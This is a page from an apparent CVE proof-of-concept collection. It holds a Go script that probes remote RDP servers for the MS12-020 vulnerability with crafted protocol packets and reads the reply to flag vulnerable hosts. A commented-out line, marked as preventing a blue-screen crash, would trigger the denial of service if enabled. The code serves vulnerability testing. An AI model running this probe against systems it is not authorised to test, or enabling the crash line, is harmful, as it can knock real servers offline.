4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / MS12-020.go GO
package rdp

import (
	"encoding/binary"
	"fmt"
	"net"
)

var connection_request = []byte{
	0x03, 0x00, // TPKT Header version 03, reserved 0
	0x00, 0x0b, // Length
	0x06,       // X.224 Data TPDU length
	0xe0,       // X.224 Type (Connection request)
	0x00, 0x00, // dst reference
	0x00, 0x00, // src reference
	0x00, // class and options
}

var connectInitial = []byte{
	0x03, 0x00, 0x00, 0x65, // TPKT Header
	0x02, 0xf0, 0x80, // Data TPDU, EOT
	0x7f, 0x65, 0x5b, // Connect-Initial
	0x04, 0x01, 0x01, // callingDomainSelector
	0x04, 0x01, 0x01, // callingDomainSelector
	0x01, 0x01, 0xff, // upwardFlag
	0x30, 0x19, // targetParams + size
	0x02, 0x01, 0x22, // maxChannelIds
	0x02, 0x01, 0x20, // maxUserIds
	0x02, 0x01, 0x00, // maxTokenIds
	0x02, 0x01, 0x01, // numPriorities
	0x02, 0x01, 0x00, // minThroughput
	0x02, 0x01, 0x01, // maxHeight
	0x02, 0x02, 0xff, 0xff, // maxMCSPDUSize
	0x02, 0x01, 0x02, // protocolVersion
	0x30, 0x18, // minParams + size
	0x02, 0x01, 0x01, // maxChannelIds
	0x02, 0x01, 0x01, // maxUserIds
	0x02, 0x01, 0x01, // maxTokenIds
	0x02, 0x01, 0x01, // numPriorities
	0x02, 0x01, 0x00, // minThroughput
	0x02, 0x01, 0x01, // maxHeight
	0x02, 0x01, 0xff, // maxMCSPDUSize
	0x02, 0x01, 0x02, // protocolVersion
	0x30, 0x19, // maxParams + size
	0x02, 0x01, 0xff, // maxChannelIds
	0x02, 0x01, 0xff, // maxUserIds
	0x02, 0x01, 0xff, // maxTokenIds
	0x02, 0x01, 0x01, // numPriorities
	0x02, 0x01, 0x00, // minThroughput
	0x02, 0x01, 0x01, // maxHeight
	0x02, 0x02, 0xff, 0xff, // maxMCSPDUSize
	0x02, 0x01, 0x02, // protocolVersion
	0x04, 0x00, // userData
}

var userRequest = []byte{
	0x03, 0x00, // header
	0x00, 0x08, // length
	0x02, 0xf0, 0x80, // X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)
	0x28, // PER encoded PDU contents
}

var channelRequest = []byte{
	0x03, 0x00, 0x00, 0x0c,
	0x02, 0xf0, 0x80, 0x38,
}

func checkRDPVuln(ip string, port int) bool {

	// rdp除了最早期的RDP标志位以外,其他的版本默认都会走tls,默认情况下,Windows自带的远程桌面服务里面自动生成的证书,名称对应的就是主机名
	//所以这里的dialTCP是会不行的,对于后期的机器

	// 建立 TCP 连接
	sock, err := net.DialTCP("tcp", nil, &net.TCPAddr{IP: net.ParseIP(ip), Port: port})
	if err != nil {
		fmt.Println("Failed to connect to the target:", err)
		return false
	}
	defer sock.Close()

	sock.Write(connection_request)
	res := make([]byte, 1024)
	_, err = sock.Read(res)
	if err != nil {
		fmt.Println(err)
		return false
	}

	sock.Write(connectInitial)

	// Send userRequest
	sock.Write(userRequest)

	_, err = sock.Read(res)
	if err != nil {
		fmt.Println(err)
		return false
	}
	user1 := binary.BigEndian.Uint16(res[9:11])
	//chan1 := user1 + 1001

	// Send second userRequest
	sock.Write(userRequest)
	_, err = sock.Read(res)
	if err != nil {
		fmt.Println(1)
		return false
	}
	user2 := binary.BigEndian.Uint16(res[9:11])
	chan2 := user2 + 1001

	// Send channel request one
	sock.Write(append(channelRequest, uint16ToBytes(user1, chan2)...))
	_, err = sock.Read(res)
	if err != nil {
		fmt.Println(2)
		return false
	}
	if res[7] == 0x3e && res[8] == 0x00 {
		// Send ChannelRequestTwo - prevent BSoD
		//sock.Write(append(channelRequest, uint16ToBytes(user2, chan2)...))
		return true
	} else {
		fmt.Println(3)
		return false
	}

}

func uint16ToBytes(nums ...uint16) []byte {
	b := make([]byte, len(nums)*2)
	for i, num := range nums {
		binary.BigEndian.PutUint16(b[i*2:], num)
	}
	return b
}